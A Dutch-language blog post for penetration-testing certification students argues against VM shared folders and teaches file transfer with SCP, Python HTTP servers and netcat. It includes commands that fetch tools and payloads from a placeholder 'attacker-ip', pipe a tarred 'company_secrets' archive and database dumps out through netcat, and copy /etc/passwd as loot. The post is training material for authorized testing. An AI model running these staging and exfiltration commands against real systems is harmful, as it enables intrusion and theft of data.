Stop met het vertrouwen op handige shortcuts die niet bestaan in echte penetratietest scenario’s
Als penetratietester die zich voorbereidt op certificeringen zoals PNPT (Practical Network Penetration Tester), ben je misschien geneigd om VM gedeelde mappen te gebruiken voor bestandsoverdracht tussen je attack platform en doelmachines.
Ik gebruikte gedeelde mappen lange tijd. Ze voelden efficiënt aan. Totdat ze midden in een lab kapot gingen, faalden door permissies, of gewoon niet beschikbaar waren. Toen realiseerde ik me: deze convenience bestaat niet in echte engagements.
Hier is de harde waarheid: je ontwikkelt slechte gewoontes die je pijn gaan doen in echte pentests.
Laat me uitleggen waarom gedeelde mappen een doodlopende weg zijn en je de professionele technieken tonen die er echt toe doen.
De Gedeelde Mappen Val
Bij het opzetten van je homelab met QEMU/KVM, VirtualBox, of VMware, lijken gedeelde mappen de voor de hand liggende keuze. Mount een directory, drag en drop bestanden. Simpel, toch?
Fout.
Dit is wat er gebeurt wanneer je vertrouwt op gedeelde mappen:
- VirtioFS: Performance problemen, permission mapping chaos, SELinux conflicten
- 9P protocol: Legacy technologie, extreem trage I/O, verbindingen vallen weg
- VMware Tools: Werkt in lab, nutteloos op echte targets
- VirtualBox Guest Additions: Hetzelfde verhaal
Maar het echte probleem is niet technisch. Het is dat je de vaardigheden die je echt nodig hebt niet leert.
De Realiteitscheck: Hoe Echte Pentesting Werkt
In een echte penetratietest heb je niet:
- Gedeelde mappen naar je doelmachines
- Guest additions op de server van het slachtoffer
- Administrative toegang om convenience tools te installeren
- Directe filesystem toegang tussen systemen
Wat je WEL hebt:
- Netwerkconnectiviteit (hopelijk)
- Command line toegang (als je geluk hebt)
- Beperkte tijd en hoge druk scenario’s
Dit is precies wat professionele certificeringen testen. Real-world scenario’s zonder gemakken.
Key takeaway:
Als je file transfer methode guest tools vereist, overleeft het geen echte pentest.
Professionele File Transfer Technieken
Laten we de vaardigheden opbouwen die er echt toe doen. Zo handelen cybersecurity professionals bestandsoverdrachten af:
1. SSH/SCP Foundation (Je Primaire Tool)
SSH is niet alleen voor remote toegang. Het is je file transfer reddingslijn.
# Initiële setup (eenmalige configuratie)
ssh-keygen -t ed25519 -f ~/.ssh/lab_key
ssh-copy-id -i ~/.ssh/lab_key kali@192.168.122.157
# Efficiënte aliases maken
echo "alias kali='ssh kali@192.168.122.157'" >> ~/.bashrc
echo "alias push='scp -i ~/.ssh/lab_key'" >> ~/.bashrc
echo "alias pull='scp -i ~/.ssh/lab_key kali@192.168.122.157:'" >> ~/.bashrc
source ~/.bashrc
Real-world gebruik:
# Upload exploitation tools
scp linpeas.sh target@10.10.10.50:~/
# Download gevoelige data
scp target@10.10.10.50:/etc/passwd ./loot/
# Batch transfer
scp *.py target@internal-server:/tmp/
Bottom line: Als je geen bestand kunt overdragen zonder gedeelde mappen, ben je niet klaar voor echte pentesting.
2. HTTP Server (File Staging en Exfiltratie)
Python’s ingebouwde HTTP server is de beste vriend van een pentester.
# Host je toolkit
cd ~/pentest-tools
python3 -m http.server 8080
# Alternatieve poorten (als 8080 gefilterd is)
python3 -m http.server 9000
python3 -m http.server 4444
Target-side downloads:
# Linux targets
wget http://attacker-ip:8080/exploit.py
curl -O http://attacker-ip:8080/linpeas.sh
# Windows targets (als je PowerShell hebt)
Invoke-WebRequest -Uri "http://attacker-ip:8080/nc.exe" -OutFile "nc.exe"
# Of de old-school manier
certutil -urlcache -split -f "http://attacker-ip:8080/payload.exe"
Key advantage: Nul setup, werkt op elk OS, logt alles natuurlijk.
3. Netcat (Raw Data Transfer)
Wanneer HTTP niet beschikbaar is, krijgt netcat de klus geklaard.
# Bestanden verzenden
nc -l -p 9999 < sensitive_database.sql # Verzender (target)
nc attacker-ip 9999 > database.sql # Ontvanger (attacker)
# Bestanden ontvangen
nc -l -p 9999 > uploaded_tool.sh # Ontvanger (target)
nc target-ip 9999 < tool.sh # Verzender (attacker)
# Met progress indicatie
pv sensitive_data.tar.gz | nc attacker-ip 9999
Pro tip: Netcat werkt wanneer al het andere geblokkeerd is. Leer het, houd ervan.
Handig voor:
- Restricted shells
- Beperkte command sets
- Firewall restricties op file transfers
Professionele Workspace Organisatie
Structureer je attack platform als een professional:
# Professionele directory structuur
~/pentest/
├── tools/ # Statische binaries, scripts
│ ├── linux/ # LinPEAS, pspy, etc.
│ ├── windows/ # WinPEAS, Seatbelt, etc.
│ └── multi/ # Nmap, custom scripts
├── payloads/ # MSF payloads, custom exploits
├── wordlists/ # SecLists, custom lists
├── results/ # Screenshots, loot, rapporten
│ └── $(date +%Y-%m-%d)/
└── scripts/ # Automatisering, one-liners
# Snelle toegang aliases
alias stage="cd ~/pentest && python3 -m http.server 8080"
alias prep="cd ~/pentest/tools"
alias loot="cd ~/pentest/results/$(date +%Y-%m-%d)"
Game changer: Organisatie is niet optioneel. Wanneer je onder druk staat, bespaart muscle memory tijd.
Echte Pentesting Scenario’s (Waarom Dit Uitmaakt)
Laat me je echte scenario’s uit professionele engagements tonen:
Scenario 1: Initiële Foothold
# Je hebt shell toegang gekregen maar hebt enumeration tools nodig
# Geen gedeelde mappen hier!
wget http://your-attack-box:8080/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh | tee linpeas_output.txt
Scenario 2: Privilege Escalation
# Potentiële privesc vector gevonden, specifieke tool nodig
curl http://attack-box:8080/pspy64 -o pspy64
chmod +x pspy64
./pspy64 -pf -i 1000
Scenario 3: Data Exfiltratie
# Gevoelige data gevonden, moet geëxtraheerd worden
tar czf company_secrets.tar.gz /opt/backup/database/
nc attack-box 9999 < company_secrets.tar.gz
Scenario 4: Lateral Movement
# Verplaatsen naar intern netwerk
scp ssh_exploit.py user@internal-host-10.10.1.50:~/
ssh user@internal-host-10.10.1.50
python3 ssh_exploit.py
Snelle Troubleshooting
SSH Connection Refused
sudo systemctl enable ssh --now
sudo ufw allow ssh
HTTP Server Niet Toegankelijk
ss -tlnp | grep :8080 # Check of het luistert
ping target-ip # Test connectiviteit
Permission Issues
chmod +x script.sh # Maak uitvoerbaar
ls -la /target/directory/ # Check permissies
Reality check: De meeste “file transfer problemen” zijn eigenlijk netwerk- of permission problemen.
Muscle Memory Opbouwen
Oefen deze commando’s tot ze tweede natuur zijn:
# Dagelijkse workflow commando's
scp tool.py target:~/ # Snelle tool upload
python3 -m http.server 8080 # Instant file server
nc -l -p 9999 > received_file # Data ontvanger
nc target 9999 < sending_file # Data verzender
ssh user@target # Snelle remote toegang
# One-liner combinaties
cd ~/tools && python3 -m http.server 8080 &
ssh target "wget http://attack-box:8080/tool.sh && chmod +x tool.sh"
De Professionele Mindset
Hier is de mentale shift die je moet maken:
Van: “Hoe kan ik dit handiger maken?”
Naar: “Hoe zou ik dit doen als ik alleen netwerktoegang had?”
Van: “Laat me gedeelde mappen opzetten voor gemakkelijke bestandstoegang.”
Naar: “Laat me de file transfer methodes oefenen die ik echt ga gebruiken in engagements.”
Van: “Deze lab setup moet gebruiksvriendelijk zijn.”
Naar: “Deze lab setup moet echte attack scenario’s repliceren.”
Conclusie: Vaardigheden Die Overgaan naar Echte Engagements
Wanneer je professionele file transfer technieken van dag één gebruikt, ben je niet alleen bestanden aan het verplaatsen. Je bouwt het muscle memory op dat je zal dienen in:
- PNPT certificatie exam: Waar gedeelde mappen niet bestaan
- Echte penetratietesten: Waar targets geen VM tools hebben
- Red team engagements: Waar stealth en efficiëntie belangrijk zijn
- Bug bounty hunting: Waar je werkt met echte infrastructuur
De volgende keer dat je geneigd bent om gedeelde mappen op te zetten, vraag jezelf af: “Zou dit werken als ik de server van een echt bedrijf aan het testen was?”
Als het antwoord nee is, gebruik dan SSH, HTTP servers en netcat in plaats daarvan. Je toekomstige zelf (en je certificatiescores) zullen je dankbaar zijn.
Ik documenteer wat echt werkt, niet wat handig lijkt in een lab. Als je je voorbereidt op echte pentesting, niet alleen op oefenboxen, dan ben je op de juiste plek.
Wat is jouw voorkeursmethode voor file transfer bij penetratietesten? Heb je scenario’s meegemaakt waar gedeelde mappen nutteloos zouden zijn geweest? Deel je ervaringen in de comments hieronder.
Klaar om je pentesting vaardigheden te verbeteren? Volg me voor meer real-world cybersecurity content dat zich richt op professionele technieken in plaats van lab gemakken.
Snelle Referentiekaart
Bewaar dit voor je toekomstige engagements:
# SSH/SCP (primaire methode)
scp file.txt user@target:~/
ssh user@target "command"
# HTTP Server (staging/exfil)
python3 -m http.server 8080
wget http://attacker-ip:8080/file.txt
# Netcat (ruwe transfer)
nc -l -p 9999 < file.txt # Verzender
nc target-ip 9999 > file.txt # Ontvanger
Onthoud: De beste techniek is degene die werkt in jouw specifieke scenario. Beheers ze allemaal.